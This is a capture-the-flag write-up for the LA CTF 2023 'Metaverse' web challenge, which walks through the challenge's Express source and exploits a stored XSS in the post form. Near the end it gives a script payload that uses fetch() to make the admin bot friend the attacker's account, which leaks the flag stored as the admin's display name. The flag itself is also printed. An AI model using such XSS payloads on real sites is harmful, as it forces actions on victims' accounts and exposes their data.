LA CTF 2023 - Metaverse [Web]

Description:

Metaenter the metaverse and metapost about metathings. All you have to metado is metaregister for a metaaccount and you're good to metago.

metaverse.lac.tf

You can metause our fancy new metaadmin metabot to get the admin to metaview your metapost!

We are given the following file index.js (I removed non-relevant parts):

const express = require("express");
const path = require("path");
const fs = require("fs");
const cookieParser = require("cookie-parser");
const { v4: uuid } = require("uuid");

const flag = process.env.FLAG;
const port = parseInt(process.env.PORT) || 8080;
const adminpw = process.env.ADMINPW || "placeholder";

const accounts = new Map();
accounts.set("admin", {
    password: adminpw,
    displayName: flag,
    posts: [],
    friends: [],
});
const posts = new Map();

const app = express();

/*
[redacted]
*/

app.get("/", needsAuth);
app.get("/login", (req, res, next) => {
    if (res.locals.user) {
        res.redirect("/");
    } else {
        next();
    }
});
app.use(express.static(path.join(__dirname, "static"), { extensions: ["html"] }));

app.post("/register", (req, res) => {
    if (typeof req.body.username !== "string" || typeof req.body.password !== "string" || typeof req.body.displayName !== "string") {
        res.redirect("/login#" + encodeURIComponent("Please metafill out all the metafields."));
        return;
    }
    const username = req.body.username.trim();
    const password = req.body.password.trim();
    const displayName = req.body.displayName.trim();
    if (!/^[\w]{3,32}$/.test(username) || !/^[-\w !@#$%^&*()+]{3,32}$/.test(password) || !/^[-\w ]{3,64}/.test(displayName)) {
        res.redirect("/login#" + encodeURIComponent("Invalid metavalues provided for metafields."));
        return;
    }
    if (accounts.has(username)) {
        res.redirect("/login#" + encodeURIComponent("Metaaccount already metaexists."));
        return;
    }
    accounts.set(username, { password, displayName, posts: [], friends: [] });
    cleanup.push([username, Date.now() + 1000 * 60 * 60 * 12]);
    res.cookie("login", `${username}:${password}`, { httpOnly: true });
    res.redirect("/");
});

app.post("/login", (req, res) => {
    if (typeof req.body.username !== "string" || typeof req.body.password !== "string") {
        res.redirect("/login#" + encodeURIComponent("Please metafill out all the metafields."));
        return;
    }
    const username = req.body.username.trim();
    const password = req.body.password.trim();
    if (accounts.has(username) && accounts.get(username).password === password) {
        res.cookie("login", `${username}:${password}`, { httpOnly: true });
        res.redirect("/");
    } else {
        res.redirect("/login#" + encodeURIComponent("Wrong metausername/metapassword."));
    }
});

app.post("/friend", needsAuth, (req, res) => {
    res.type("text/plain");
    const username = req.body.username.trim();
    if (!accounts.has(username)) {
        res.status(400).send("Metauser doesn't metaexist");
    } else {
        const user = accounts.get(username);
        if (user.friends.includes(res.locals.user)) {
            res.status(400).send("Already metafriended");
        } else {
            user.friends.push(res.locals.user);
            res.status(200).send("ok");
        }
    }
});

app.post("/post", needsAuth, (req, res) => {
    res.type("text/plain");
    const id = uuid();
    const content = req.body.content;
    if (typeof content !== "string" || content.length > 1000 || content.length === 0) {
        res.status(400).send("Invalid metacontent");
    } else {
        const user = accounts.get(res.locals.user);
        posts.set(id, content);
        user.posts.push(id);
        res.send(id);
    }
});

app.get("/posts", needsAuth, (req, res) => {
    res.type("application/json");
    res.send(
        JSON.stringify(
            accounts.get(res.locals.user).posts.map((id) => {
                const content = posts.get(id);
                return {
                    id,
                    blurb: content.length < 50 ? content : content.slice(0, 50) + "...",
                };
            })
        )
    );
});

app.get("/friends", needsAuth, (req, res) => {
    res.type("application/json");
    res.send(
        JSON.stringify(
            accounts
                .get(res.locals.user)
                .friends.filter((username) => accounts.has(username))
                .map((username) => ({
                    username,
                    displayName: accounts.get(username).displayName,
                }))
        )
    );
});

app.listen(port, () => {
    console.log(`Listening on port ${port}`);
});

Visiting the site, we can see the following form:

Where we can create accounts and login into them. Note: "metadisplay name (only shown to metafriends)"

We will create an account to see what's going on on the platform:

The metapost form is vulnerable to XSS:

And the post URL is randomly generated:

app.post("/post", needsAuth, (req, res) => {
    res.type("text/plain");
    const id = uuid();
    const content = req.body.content;
    if (typeof content !== "string" || content.length > 1000 || content.length === 0) {
        res.status(400).send("Invalid metacontent");
    } else {
        const user = accounts.get(res.locals.user);
        posts.set(id, content);
        user.posts.push(id);
        res.send(id);
    }
});

An url of the self-generated URLs can be found on the user's account.

The easiest way to complete the challenge should be triggering the bot's admin interaction in order to retrieve their cookie, however this won't be possible as it's protected with the httponly flag.

If the HttpOnly flag (optional) is included in the HTTP response header, the cookie cannot be accessed through client side script (again if the browser supports this flag). As a result, even if a cross-site scripting (XSS) flaw exists, and a user accidentally accesses a link that exploits this flaw, the browser (primarily Internet Explorer) will not reveal the cookie to a third party.

So this approach will simply not work.

What another way do we have to retrieve the flag? If we look closer to the given code, we can see the admin's account displayName is the flag:

const flag = process.env.FLAG;

/*
[redacted]
*/

const accounts = new Map();
accounts.set("admin", {
    password: adminpw,
    displayName: flag,
    posts: [],
    friends: [],
});

The website says:

to increase realism, metafriending is not necessarily a two-way relationship

if someone metafriends you, they are your metafriend but not vice versa

So sending a request to the "admin" account won't work, but what if we can trigger an action from the admin account to add as ourselves as friends through the XSS? So that's why I ended up doing. At this point I created another account named "r1p2" in case self-adding as friend wouldn't work, and created a post with the following code:

<script>
fetch("https://metaverse.lac.tf/friend", {
    "credentials": "include",
    "headers": {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Content-Type": "application/x-www-form-urlencoded",
        "Sec-Fetch-Dest": "empty",
        "Sec-Fetch-Mode": "cors",
        "Sec-Fetch-Site": "same-origin"
    },
    "referrer": "https://metaverse.lac.tf/",
    "body": "username=r1p",
    "method": "POST",
    "mode": "cors"
});
</script>

The PoC is properly working and we could add our own other account with it as friend, however the response is a 400 as I accidentally triggered the script twice so the account is already added as friend:

At this point, having a working PoC we can send the post to the Admin's BOT in order to add our own account as friend and seeing the flag displayed on its name:

Flag: lactf{please_metaget_me_out_of_here}